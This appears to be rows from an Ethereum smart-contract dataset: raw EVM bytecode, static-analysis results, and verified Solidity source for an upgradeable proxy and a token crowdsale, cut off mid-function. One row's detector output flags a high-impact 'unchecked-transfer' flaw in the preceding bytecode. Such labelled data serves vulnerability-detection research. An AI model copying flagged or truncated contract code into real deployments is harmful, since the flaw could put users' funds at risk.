ffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600581526020017f5457494c5800000000000000000000000000000000000000000000000000000081525081565b6000806106ed3385610dc3565b14806106f95750600082145b151561070457600080fd5b61070e8383610fab565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b61084484848461109d565b90505b9392505050565b600681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad4576109cf650e8d4a510000600454611483565b8211156109df5760009050610ad9565b610a276000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149c565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a756004548361149c565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ad9565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b3c57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7757600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c1d57600080fd5b505af1158015610c31573d6000803e3d6000fd5b505050506040513d6020811015610c4757600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f53454f000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9257600080fd5b600560009054906101000a900460ff1615610db05760009050610dbd565b610dba83836114ba565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea657600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee157600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110da57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611167576000905061147c565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111b6576000905061147c565b6000821180156111f257508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114125761127d600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611483565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113456000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611483565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113cf6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149c565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149157fe5b818303905092915050565b60008082840190508381101515156114b057fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114f757600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156115465760009050611706565b60008211801561158257508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561169c576115cf6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611483565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116596000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149c565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a7230582064e8aaae3d9b19facbd48f48127f1bf0f0ac3ce0abcba71aa5c1c78cb880ee7c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,149 |
0x8c76970747afd5398e958bdfada4cf0b9fca16c4
|
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,150 |
0x1c8654c680c3f18a3b3a0ee943d40848a9fffd0d
|
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 internal rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
/**
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
constructor(address _wallet, ERC20 _token) public {
require(_wallet != address(0));
require(_token != address(0));
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use `super` in contracts that inherit from Crowdsale to extend their validations.
* Example from CappedCrowdsale.sol's _preValidatePurchase method:
* super._preValidatePurchase(_beneficiary, _weiAmount);
* require(weiRaised.add(_weiAmount) <= cap);
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
/**
* @dev Constructor, takes maximum amount of wei accepted in the crowdsale.
* @param _cap Max amount of wei to be contributed
*/
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
/**
* @dev Extend parent behavior requiring purchase to respect the funding cap.
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract SANDER1 is StandardToken, DetailedERC20 {
/**
* 12 tokens equal 12 songs equal 1 album
* uint256 supply
*/
uint256 internal supply = 12 * 1 ether;
constructor ()
public
DetailedERC20 (
"Super Ander Token 1",
"SANDER1",
18
)
{
totalSupply_ = supply;
balances[msg.sender] = supply;
emit Transfer(0x0, msg.sender, totalSupply_);
}
}
contract SuperCrowdsale is CappedCrowdsale {
using SafeERC20 for SANDER1;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
address public owner;
SANDER1 public token;
uint256 internal weiAmount;
event ProcessedRemainder(uint256 remainder);
constructor (
SANDER1 _token, // sander1.superander.eth
address _wallet // wallet.superander.eth
) public
Crowdsale(
_wallet,
_token
)
CappedCrowdsale(
4145880000000000000000 // 4145.88 ETH
)
{
owner = msg.sender;
token = _token;
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
weiAmount = msg.value;
// if wei raised equals total cap, stop the crowdsale.
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = getTokenAmount(weiAmount);
_processPurchase(_beneficiary, tokens);
